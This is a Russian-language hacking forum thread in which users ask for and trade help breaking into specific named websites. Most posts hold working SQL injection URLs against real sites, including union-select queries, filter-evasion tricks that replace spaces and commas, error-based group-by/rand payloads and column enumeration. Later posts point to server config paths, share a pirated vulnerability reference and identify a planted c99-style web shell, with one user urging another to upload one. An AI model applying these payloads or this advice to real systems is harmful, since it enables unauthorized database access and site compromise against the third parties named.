Ваши вопросы по уязвимостям.

А так выводит:
?id=14+union+select+1,hex(table_name),...,45+from+information_schema.tables--+

 

Нельзя использовать пробел, запятую, слеш, процент, возможно что-то еще. Нашел такой вариант:
1) false. редирект есть. version() like '4%'
/desktop'and(version())like(0x3425)and'1

2) true. редиректа нет. version() like '5%'.
/desktop'and(version())like(0x3525)and'1

upd:
Точка вырезается, так что придется брутить имена таблиц и колонок

 

Не пугай парня

Вывод:
http://www.obnovi-soft.ru/desktop' and 1=2 union select * from (select 1)a join (select 2)b join (select version())c join (select 4)d join (select 5)i-- '1

Пробелы норм, проблема с запятыми, ну и дальше с точками будет, как ты и сказал

 

I'm stalked here.

Code:

http://pvrpg.net/forum/view_thread.php?id=8762&page=1 (NO ERROR)

Code:

http://pvrpg.net/forum/view_thread.php?id=8762&page=-1 (ERROR) 

Shows site is vulnerable.

Now, I try order by and many things, all do not work.

Code:

http://pvrpg.net/forum/view_thread.php?id=8762&page=-1%27+or+1+/!*group*/+by+/!*concat*/%28version%28%29,rand%280%29|0%29+having+min%280%29--+

Any help?

 

Там нет скули

 

получается такой запрос, как избавиться от того, что до моего запроса?

 

Никак.

 

тогда еще вопрос
подбираю кол-во полей, сначала Unknown column '7' in 'order clause'
а на 6
Table 'wsl.home' doesn't exist
ну и с выводом я потерялся, где он там

и вот, про подзапросы
прочитал я от джкестера http://forum.antichat.ru/showpost.php?p=1047515&postcount=48
и вопрос, то есть он рассматривает когда при подборе на одном числе ошибка, а на втором ошибка, но уже с выводом?
я такого не встречал просто
вот тут например
http://exchange.guhsd.net/details.php?object_id=2251+order+by+8--

 

Обычно в таких случаях я юзаю error-based. У тебя так выводит, потому что:
http://exchange.guhsd.net/details.php?object_id=2251
wsl.home действительно не существует.

 

Code:

http://exchange.guhsd.net/details.php?object_id=(2251)or(1)group+by(concat(version(),0x00,floor(rand(0)*2)))having(min(0)or(1))

 

Не могу найти(вроде тут видел) дефолтные пути конфигов апача

 

http://forum.antichat.ru/thread49775.html

 

Ок, спс. А на замену етте'евскому справочнику itdefence.ru/dbitems/ есть что-нибудь? Или мож то кто копирнуть успел???

 

Конечно успел ^^
Держи http://rghost.net/35762282
Веб-версия если что: http://dbitems.wen.ru/index.htm

 

Красава!



Это что у нас за шелл?

 

Может быть любым шеллов, написать такую авторизацию 5-6 строк. А вообще с чего ты взял, что это шелл? Мб админка или еще что-то.

 

Да шелл это, я много раз на такой натыкался, ток не могу вспомнить его рабочее название! c100 чтоли?!

 

C99 ещё немного угадал бы

 

Другие залили шелл - ты тоже сможешь. Залей да посмотри

 

Не, маднетовский весит 43кб - этот 28кб
если только упакован

...........

ан не, маднетовский упакованный 43кб весит, так что...